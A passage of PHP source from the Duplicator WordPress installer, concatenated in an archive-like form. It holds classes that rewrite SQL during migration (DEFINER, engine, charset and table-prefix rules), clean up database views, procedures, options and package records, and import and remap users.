Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use DUPX_ArchiveConfig; use DUPX_DB_Functions; use DUPX_DB_Tables; use DUPX_DBInstall; use DUPX_InstallerState; use Exception; class QueryFixes extends AbstractJsonSerializable { const TEMP_POSTFIX = 't_'; const USER_DEFINER_REPLACE_PATTERN = "/^(\s*(?:\/\*!\d+\s)?\s*(?:CREATE.+)?DEFINER\s*=)([^\*\s]+)(.*)$/m"; const USER_DEFINER_REMOVE_PATTERN = "/^(\s*(?:\/\*!\d+\s)?\s*(?:CREATE.+)?)(DEFINER\s*=\s*\S+)(.*)$/m"; const USER_DEFINER_REMOVE_REPLACE = '$1 $3'; const SQL_SECURITY_INVOKER_PATTERN = "/^(\s*CREATE.+(?:PROCEDURE|FUNCTION)[\s\S]*)(BEGIN)([\s\S]*)$/"; const SQL_SECURITY_INVOKER_REPLACE = "$1SQL SECURITY INVOKER\n$2$3"; /** @var array */ protected $globalRules = array( 'search' => array(), 'replace' => array() ); /** @var array */ protected $tablesPrefixRules = array(); /** @var string */ protected $generatorLog = ''; /** * Class constructor */ public function __construct() { $this->rulesProcAndViews(); $this->rulesMySQLEngine(); $this->legacyCharsetAndCollation(); $this->rulesTableNames(); } /** * Filter props on json encode * * @return string[] */ public function __sleep() { $props = array_keys(get_object_vars($this)); return array_diff($props, array('generatorLog')); } /** * Write rules in log * * @return void */ public function logRules() { if (strlen($this->generatorLog) == 0) { Log::info('NO GENERAL QUERY FIXES'); } else { Log::info('QUERY FIXES'); Log::info($this->generatorLog); } if (count($this->globalRules['search']) > 0) { Log::info('QUERY FIXES GLOBAL RULES'); Log::incIndent(); foreach ($this->globalRules['search'] as $index => $search) { Log::info('SEARCH => ' . $search); Log::info('REPLACE => ' . $this->globalRules['replace'][$index] . "\n"); } Log::resetIndent(); } if (count($this->tablesPrefixRules) > 0) { Log::info('QUERY FIXES TABLES RULES'); Log::incIndent(); foreach ($this->tablesPrefixRules as $indexRulesSet => $ruleSet) { Log::info('RULESET ' . ($indexRulesSet + 1)); Log::incIndent(); foreach ($ruleSet['search'] as $index => $search) { Log::info('SEARCH => ' . $search); Log::info('REPLACE => ' . $ruleSet['replace'][$index] . "\n"); } Log::decIndent(); } Log::resetIndent(); } } /** * @param string $query query to fix * * @return string The query with appropriate substitutions done */ public function applyFixes($query) { $query = preg_replace($this->globalRules['search'], $this->globalRules['replace'], $query); foreach ($this->tablesPrefixRules as $ruleSet) { $query = preg_replace($ruleSet['search'], $ruleSet['replace'], $query); } return $query; } /** * Set search and replace rules * * @return void */ protected function rulesProcAndViews() { if (DUPX_InstallerState::isRestoreBackup()) { return; } if (PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_REMOVE_DEFINER)) { $this->globalRules['search'][] = self::USER_DEFINER_REMOVE_PATTERN; $this->globalRules['replace'][] = self::USER_DEFINER_REMOVE_REPLACE; } else { $this->globalRules['search'][] = self::USER_DEFINER_REPLACE_PATTERN; $dbHost = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_HOST); $dbUser = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_USER); $definerHost = (($dbHost == "localhost" || $dbHost == "127.0.0.1") ? $dbHost : '%'); $this->globalRules['replace'][] = '$1' . addcslashes("`" . $dbUser . "`@`" . $definerHost . "`", '\\$') . '$3'; } $this->globalRules['search'][] = self::SQL_SECURITY_INVOKER_PATTERN; $this->globalRules['replace'][] = self::SQL_SECURITY_INVOKER_REPLACE; $this->generatorLog .= "GLOBAL RULES ADDED: PROC AND VIEWS\n"; } /** * Check invalid SQL engines * * @return void */ protected function rulesMySQLEngine() { $invalidEngines = array_map(function ($engine) { return preg_quote($engine, '/'); }, DUPX_ArchiveConfig::getInstance()->invalidEngines()); if (empty($invalidEngines)) { return; } $this->globalRules['search'][] = '/^(\s*(?:\/\*!\d+\s)?\s*CREATE.+ENGINE=)(' . implode('|', $invalidEngines) . ')(.*)$/ms'; $this->globalRules['replace'][] = '$1' . DUPX_DB_Functions::getInstance()->getDefaultEngine() . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: MYSQL ENGINES\n"; } /** * Set legacy charset adn collation rules * * regex managed examples * - `meta_value` longtext CHARACTER SET utf16 COLLATE utf16_slovak_ci DEFAULT NULL, * - `comment_author` tinytext COLLATE utf8mb4_unicode_ci NOT NULL, * - ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci_test; * - ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4; * * accept ['"`]charset['"`] * * @return void */ public function legacyCharsetAndCollation() { $invalidCharsets = DUPX_ArchiveConfig::getInstance()->invalidCharsets(); $invalidCollations = DUPX_ArchiveConfig::getInstance()->invalidCollations(); $defCharsetRegex = addcslashes(DUPX_DB_Functions::getInstance()->getRealCharsetByParam(), '\\$'); $defCollateRegex = addcslashes(DUPX_DB_Functions::getInstance()->getRealCollateByParam(), '\\$'); if (count($invalidCharsets) > 0) { $invalidChrRegex = '(?:' . implode('|', array_map(function ($val) { return preg_quote($val, '/'); }, $invalidCharsets)) . ')'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?\s.*COLLATE\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?.*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3' . $defCollateRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?\s.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3' . $defCharsetRegex . '$5'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: INVALID CHARSETS\n"; } if (count($invalidCollations) > 0) { $invalidColRegex = '(?:' . implode('|', array_map(function ($val) { return preg_quote($val, '/'); }, $invalidCollations)) . ')'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?\s.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3' . $defCollateRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?\s.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?.*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3' . $defCharsetRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: INVALID COLLATIONS\n"; } } /** * Set search and replace table prefix rules * * @return void */ protected function rulesTableNames() { $mapping = DUPX_DB_Tables::getInstance()->getRenameTablesMapping(); $oldPrefixes = array_keys($mapping); $newPrefixes = array(); foreach ($mapping as $oldPrefix => $newMapping) { $newPrefixes = array_merge($newPrefixes, array_keys($newMapping)); } $newPrefixes = array_unique($newPrefixes); // Prevent double transformation with temp prefix $doublePrefixes = array_intersect($oldPrefixes, $newPrefixes); if (count($doublePrefixes) > 0) { $this->generatorLog .= 'DOUBLE PREFIXES ' . Log::v2str($doublePrefixes); } foreach ($mapping as $oldPrefix => $newMapping) { $rulesSet = array( 'search' => array(), 'replace' => array() ); $quoteOldPrefix = preg_quote($oldPrefix, '/'); foreach ($newMapping as $newPrefix => $commons) { $this->generatorLog .= "TABLES RULES ADDED: CHANGE TABLES PREFIX " . $oldPrefix . " TO " . $newPrefix ; if (in_array($newPrefix, $doublePrefixes)) { $this->generatorLog .= " [USE TMP PREFIX]\n"; $newPrefix = $newPrefix . self::TEMP_POSTFIX; } else { $this->generatorLog .= "\n"; } $this->generatorLog .= "\tFOR TABLES " . implode(',', $commons) . "\n"; $quoteNewPrefix = addcslashes($newPrefix, '\\$'); $quoteCommons = array_map( function ($val) { return preg_quote($val, '/'); }, $commons ); for ($i = 0; $i < ceil(count($quoteCommons) / DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE); $i++) { $subArray = array_slice($quoteCommons, $i * DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE, DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE); if (count($subArray) == 0) { break; } $rulesSet['search'][] = '/' . $quoteOldPrefix . '(' . implode('|', $subArray) . ')/m'; $rulesSet['replace'][] = $quoteNewPrefix . '$1'; } $rulesSet['search'][] = '/(CONSTRAINT[\s\t]+[`\'"]?.+)(?-i)' . $quoteOldPrefix . '(?i)(.+[`\'"]?[\s\t]+FOREIGN[\s\t]+KEY)/mi'; $rulesSet['replace'][] = '$1' . $quoteNewPrefix . '$2'; } if (count($rulesSet['search']) > 0) { $this->tablesPrefixRules[] = $rulesSet; } } if (count($doublePrefixes)) { // REMOVE TEMP PREFIXES $rulesSet = array( 'search' => array(), 'replace' => array() ); foreach ($doublePrefixes as $prefix) { $quoteTempPrefix = preg_quote($prefix . self::TEMP_POSTFIX, '/'); $quotePrefix = addcslashes($prefix, '\\$'); $rulesSet['search'][] = '/' . $quoteTempPrefix . '/m'; $rulesSet['replace'][] = $quotePrefix . '$1'; } $this->tablesPrefixRules[] = $rulesSet; } } } Deploy/Database/DbCleanup.php 0000644 00000032041 15136236437 0012064 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use DUPX_ArchiveConfig; use DUPX_DB; use DUPX_DB_Functions; use DUPX_DBInstall; use DUPX_InstallerState; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; /** * Class with db cleanup functions */ class DbCleanup { /** * Cleanup extra entities (views, procs, funcs) * * @return void */ public static function cleanupExtra() { if (DUPX_InstallerState::isRestoreBackup()) { return; } Log::info("CLEANUP EXTRA"); $paramsManager = PrmMng::getInstance(); if (!$paramsManager->getValue(PrmMng::PARAM_DB_VIEW_CREATION)) { self::dropViews(); Log::info("\t- VIEWS DROPPED"); } else { Log::info("\t- SKIP DROP VIEWS"); } if (!$paramsManager->getValue(PrmMng::PARAM_DB_PROC_CREATION)) { self::dropProcs(); Log::info("\t- PROCS DROPPED"); } else { Log::info("\t- SKIP DROP PROCS"); } if (!$paramsManager->getValue(PrmMng::PARAM_DB_FUNC_CREATION)) { self::dropFuncs(); Log::info("\t- FUNCS DROPPED"); } else { Log::info("\t- SKIP DROP FUNCS"); } } /** * Cleanup packages * * @return void */ public static function cleanupPackages() { if (DUPX_InstallerState::isRestoreBackup()) { Log::info("REMOVE CURRENT PACKAGE IN BACKUP"); self::deletePackageInBackup(); } else { Log::info("EMPTY PACKAGES TABLE"); self::emptyDuplicatorPackages(); } } /** * Cleanup options tables (remove transientes ..) * * @return int return number of items deleted */ public static function cleanupOptions() { if (DUPX_InstallerState::isRestoreBackup()) { return; } $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $archiveConfig = DUPX_ArchiveConfig::getInstance(); $optionsTableList = array(); $optionsTableList[] = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getOptionsTableName()); $deleteOptionConds = array(); $deleteOptionConds[] = '`option_name` LIKE "\_transient%"'; $deleteOptionConds[] = '`option_name` LIKE "\_site\_transient%"'; $opts_delete = array(); foreach ((array) json_decode($archiveConfig->opts_delete) as $value) { $opts_delete[] = '"' . mysqli_real_escape_string($dbh, $value) . '"'; } if (count($opts_delete) > 0) { $deleteOptionConds[] = '`option_name` IN (' . implode(',', $opts_delete) . ')'; } $count = 0; foreach ($optionsTableList as $optionsTable) { $log = "CLEAN OPTIONS [" . $optionsTable . "]"; foreach ($deleteOptionConds as $cond) { $log .= "\n\t" . $cond; } Log::info($log); $count += DUPX_DB::chunksDelete($dbh, $optionsTable, implode(' OR ', $deleteOptionConds)); Log::info('DATABASE OPTIONS DELETED [ROWS:' . str_pad($count, 6, " ", STR_PAD_LEFT) . ']'); } return $count; } /** * Delete current package in backup * * @return void */ protected static function deletePackageInBackup() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $packageId = DUPX_ArchiveConfig::getInstance()->packInfo->packageId; Log::info("CLEANUP CURRENT PACKAGE STATUS ID " . $packageId); $packagesTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getPackagesTableName()); $optionsTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getOptionsTableName()); DUPX_DB::mysqli_query($dbh, 'DELETE FROM `' . $packagesTable . '` WHERE `id` = ' . $packageId); DUPX_DB::mysqli_query($dbh, "DELETE FROM `" . $optionsTable . "` WHERE `option_name` = 'duplicator_package_active'"); } /** * Empty duplicator packages table * * @return int return number of packages deleted */ protected static function emptyDuplicatorPackages() { Log::info("CLEAN PACKAGES"); $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $packagesTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getPackagesTableName()); $count = DUPX_DB::chunksDelete($dbh, $packagesTable, '1 = 1'); Log::info('DATABASE PACKAGE DELETED [ROWS:' . str_pad($count, 6, " ", STR_PAD_LEFT) . ']'); return$count; } /** * Drop db procedures * * @return void */ public static function dropProcs() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $dbName = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME); $sql = "SHOW PROCEDURE STATUS WHERE db='{$dbName}'"; $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (!($result = DUPX_DB::mysqli_query($dbh, $sql))) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR: ' . mysqli_error($dbh), 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to get list of PROCEDURES from database "%s".', $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("PROCEDURE CLEAN ERROR: Could not get list of PROCEDURES to drop them."); return; } if ($result->num_rows === 0) { return; } while ($row = mysqli_fetch_row($result)) { $proc_name = $row[1]; $sql = "DROP PROCEDURE IF EXISTS `" . mysqli_real_escape_string($dbh, $dbName) . "`.`" . mysqli_real_escape_string($dbh, $proc_name) . "`"; if (!DUPX_DB::mysqli_query($dbh, $sql)) { $err = mysqli_error($dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove PROCEDURE "%s" from database "%s".<br/>', $proc_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-proc-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR: ' . $err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove PROCEDURE "%s" from database "%s".', $proc_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("PROCEDURE CLEAN ERROR: '{$err}'\n\t[SQL=" . substr($sql, 0, DUPX_DBInstall::QUERY_ERROR_LOG_LEN) . "...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_PROCEDURE_TRYCLEAN, mysqli_error($dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-proc-fail-msg'); } /** * Drop db functions * * @return void */ public static function dropFuncs() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $dbName = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME); $sql = "SHOW FUNCTION STATUS WHERE db='{$dbName}'"; $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (!($result = DUPX_DB::mysqli_query($dbh, $sql))) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR: ' . mysqli_error($dbh), 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to get list of FUNCTIONS from database "%s".', $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("FUNCTION CLEAN ERROR: Could not get list of FUNCTIONS to drop them."); return; } if ($result->num_rows === 0) { return; } while ($row = mysqli_fetch_row($result)) { $func_name = $row[1]; $sql = "DROP FUNCTION IF EXISTS `" . mysqli_real_escape_string($dbh, $dbName) . "`.`" . mysqli_real_escape_string($dbh, $func_name) . "`"; if (!DUPX_DB::mysqli_query($dbh, $sql)) { $err = mysqli_error($dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove FUNCTION "%s" from database "%s".<br/>', $func_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-func-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR: ' . $err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove FUNCTION "%s" from database "%s".', $func_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("FUNCTION CLEAN ERROR: '{$err}'\n\t[SQL=" . substr($sql, 0, DUPX_DBInstall::QUERY_ERROR_LOG_LEN) . "...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_FUNCTION_TRYCLEAN, mysqli_error($dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-func-fail-msg'); } /** * Drop db views * * @return void */ public static function dropViews() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $dbName = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME); $sql = "SHOW FULL TABLES WHERE Table_Type = 'VIEW'"; $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (!($result = DUPX_DB::mysqli_query($dbh, $sql))) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR: ' . mysqli_error($dbh), 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to get list of VIEWS from database "%s"', $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("VIEW CLEAN ERROR: Could not get list of VIEWS to drop them."); return; } if ($result->num_rows === 0) { return; } while ($row = mysqli_fetch_row($result)) { $view_name = $row[0]; $sql = "DROP VIEW `" . mysqli_real_escape_string($dbh, $dbName) . "`.`" . mysqli_real_escape_string($dbh, $view_name) . "`"; if (!DUPX_DB::mysqli_query($dbh, $sql)) { $err = mysqli_error($dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove VIEW "%s" from database "%s".<br/>', $view_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-view-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR: ' . $err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove VIEW "%s" from database "%s"', $view_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("VIEW CLEAN ERROR: '{$err}'\n\t[SQL=" . substr($sql, 0, DUPX_DBInstall::QUERY_ERROR_LOG_LEN) . "...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_VIEW_TRYCLEAN, mysqli_error($dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-view-fail-msg'); } } Deploy/Database/DbUserMode.php 0000644 00000056332 15136236437 0012231 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\Descriptors\ParamDescUsers; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Models\ImportUser; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use Duplicator\Libs\Snap\SnapDB; use Duplicator\Libs\Snap\SnapUtil; use DUPX_ArchiveConfig; use DUPX_DB; use DUPX_DB_Functions; use DUPX_DB_Tables; use DUPX_InstallerState; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; use DUPX_Security; use DUPX_UpdateEngine; use Error; use Exception; class DbUserMode extends AbstractJsonSerializable { /** @var ImportUser[] */ protected $targetUsersById = array(); /** @var ImportUser[] */ protected $targetUsersByMail = array(); /** @var ImportUser[] */ protected $targetUsersByLogin = array(); /** @var int */ protected $usersAutoIncrement = -1; /** @var int */ protected $usersMetaAutoIncrement = -1; /** @var bool[] */ protected $addedUsers = array(); /** @var int[] */ protected $mappingIds = array(); /** @var string[] */ protected $existingsMetaIsd = array(); /** @var int */ protected $userTableNumCols = 0; /** @var string */ protected $userMode = ParamDescUsers::USER_MODE_OVERWRITE; /** @var string */ protected $prefixMetaRegexCheck = ''; /** @var array */ protected $prefixMetaMapping = array(); /** * Class contructor */ public function __construct() { $prmMng = PrmMng::getInstance(); $this->userMode = ParamDescUsers::getUsersMode(); $this->prefixMetaRegexCheck = '/^' . preg_quote(DUPX_ArchiveConfig::getInstance()->wp_tableprefix, '/') . '(?:(\d+)_)?(.*)$/'; switch (DUPX_InstallerState::getInstType()) { case DUPX_InstallerState::INSTALL_SINGLE_SITE: $this->addPrefixMetaMapping( 0, $prmMng->getValue(PrmMng::PARAM_DB_TABLE_PREFIX) ); break; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN: case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER: throw new Exception('Invalid mode'); case DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE: break; case DUPX_InstallerState::INSTALL_NOT_SET: throw new Exception('Cannot change setup with current installation type [' . DUPX_InstallerState::getInstType() . ']'); default: throw new Exception('Unknown mode'); } } /** * Add meta prefix meta mapping * * @param int $subsiteId subsite id * @param string $prefix replace value * * @return void */ protected function addPrefixMetaMapping($subsiteId, $prefix) { Log::info('ADD PREFIX META MAP ID ' . $subsiteId . ' ' . $prefix); $key = ($subsiteId == 1 ? 0 : $subsiteId); $this->prefixMetaMapping[$key] = $prefix; } /** * This function renames the user tables of the target site, also updates the user meta keys * * @return void */ public static function moveTargetUserTablesOnCurrentPrefix() { $paramsManager = PrmMng::getInstance(); if (ParamDescUsers::getUsersMode() === ParamDescUsers::USER_MODE_OVERWRITE) { return; } Log::info("\nKEEP TARGET SITE USERS TABLES - USER MODE " . ParamDescUsers::getUsersMode()); $dbFunc = DUPX_DB_Functions::getInstance(); $overwriteData = $paramsManager->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); if ($overwriteData['table_prefix'] == $paramsManager->getValue(PrmMng::PARAM_DB_TABLE_PREFIX)) { Log::info('TABLE NAMES ARE THE SAME, SO SKIP USERS TABLES RENAME'); return; } $targetUserTable = DUPX_DB_Functions::getUserTableName($overwriteData['table_prefix']); $targetUserMetaTable = DUPX_DB_Functions::getUserMetaTableName($overwriteData['table_prefix']); $currentUserTableName = DUPX_DB_Functions::getUserTableName(); $currentUserMetaTableName = DUPX_DB_Functions::getUserMetaTableName(); $dbFunc->renameTable($targetUserTable, $currentUserTableName, true); $dbFunc->renameTable($targetUserMetaTable, $currentUserMetaTableName, true); // Update table prefix on meta key DUPX_UpdateEngine::updateTablePrefix( $dbFunc->dbConnection(), $currentUserMetaTableName, 'meta_key', $overwriteData['table_prefix'], $paramsManager->getValue(PrmMng::PARAM_DB_TABLE_PREFIX) ); Log::info("USER TABLES RENAMED"); } /** * This function removes all meta keys of the current prefix in the usermeta table. * This is needed to replace them with the meta keys that will be imported * * @return void */ public function removeAllUserMetaKeysOfCurrentPrefix() { $paramsManager = PrmMng::getInstance(); if ( ParamDescUsers::getUsersMode() !== ParamDescUsers::USER_MODE_IMPORT_USERS ) { return; } $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $overwriteData = $paramsManager->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); $loggedInUserId = (int) $overwriteData['loggedUser']['id']; foreach ($this->prefixMetaMapping as $overwriteId => $prefix) { $where = 'user_id != ' . $loggedInUserId; $escPergPrefix = mysqli_real_escape_string($dbh, SnapDB::quoteRegex($prefix)); if ($prefix == $overwriteData['table_prefix']) { Log::info("\nREMOVE EXISTING USER META KEY WITH PREFIX " . $prefix . ' EXCEPT ' . $prefix . '[0-9]+_'); // SELECT * FROM `prefix_usermeta` WHERE user_id != 2 AND meta_key REGEXP "^prefix_" AND meta_key NOT REGEXP "^prefix_[0-9]+_" $where .= ' AND meta_key REGEXP "^' . $escPergPrefix . '" AND meta_key NOT REGEXP "^' . $escPergPrefix . '[0-9]+_"'; } else { Log::info("\nREMOVE EXISTING USER META KEY WITH PREFIX " . $prefix); // SELECT * FROM `prefix_usermeta` WHERE user_id != 2 AND meta_key REGEXP "^prefix_2_" $where .= ' AND meta_key REGEXP "^' . $escPergPrefix . '"'; } DUPX_DB::chunksDelete($dbh, DUPX_DB_Functions::getUserMetaTableName(), $where); } } /** * Filter props on json encode * * @return strng[] */ public function __sleep() { $props = array_keys(get_object_vars($this)); return array_diff($props, array('targetUsersByMail', 'targetUsersByLogin')); } /** * Called after json decode * * @return void */ public function __wakeup() { foreach ($this->targetUsersById as $user) { $this->targetUsersByMail[$user->getMail()] = $user; $this->targetUsersByLogin[$user->getLogin()] = $user; } } /** * Return the list of columns that contain user id to remap in an array( table => numberColumn) * * @return int[] */ protected static function getTableColIdsToRemap() { static $remapTables = null; if (is_null($remapTables)) { $remapTables = array(); foreach (DUPX_DB_Tables::getInstance()->getTablesByNameWithoutPrefix('posts') as $table) { $remapTables[$table] = 1; } Log::info('REMAP USERS TABLES/COLUMN ' . Log::v2str($remapTables)); } return $remapTables; } /** * Load from users table the user list * * @return void */ public function initTargetSiteUsersData() { if ($this->userMode !== ParamDescUsers::USER_MODE_IMPORT_USERS) { return; } $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); Log::info('INIT IMPORT TARGET USER TABLE DATA'); $dbName = mysqli_real_escape_string($dbh, PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME)); $userTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserTableName()); // count num cols of user table, can be different from source to target $query = 'SELECT count(*) AS num_cols FROM information_schema.columns WHERE table_schema = "' . $dbName . '" AND table_name = "' . $userTable . '"'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $row = $queryRes->fetch_array(); $this->userTableNumCols = (int) $row[0]; Log::info('USER TABLE COLUMNS COUNT ' . $this->userTableNumCols, Log::LV_DETAILED); $query = 'SELECT `ID`,`user_login`,`user_email` FROM `' . $userTable . '`'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $this->usersAutoIncrement = -1; while ($row = $queryRes->fetch_assoc()) { $rowId = (int) $row['ID']; $user = new ImportUser($rowId, $row['user_login'], $row['user_email']); $this->targetUsersById[$user->getId()] = $user; $this->targetUsersByMail[$user->getMail()] = $user; $this->targetUsersByLogin[$user->getLogin()] = $user; if ($rowId > $this->usersAutoIncrement) { $this->usersAutoIncrement = $rowId; } } $this->usersAutoIncrement ++; $queryRes->free_result(); Log::info('EXISTING USERS COUNT ' . count($this->targetUsersById), Log::LV_DETAILED); Log::info('USERS TABLE AUTOINCREMENT VALUE ' . $this->usersAutoIncrement, Log::LV_DETAILED); $this->initTargetSiteUserMetaData(); } /** * For each existing meta key, a list of IDs is associated with each user who has that key or true if all users have the key * * @return void */ protected function initTargetSiteUserMetaData() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); Log::info('INIT IMPORT TARGET USERMETA TABLE DATA'); $userTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserTableName()); $userMetaTable 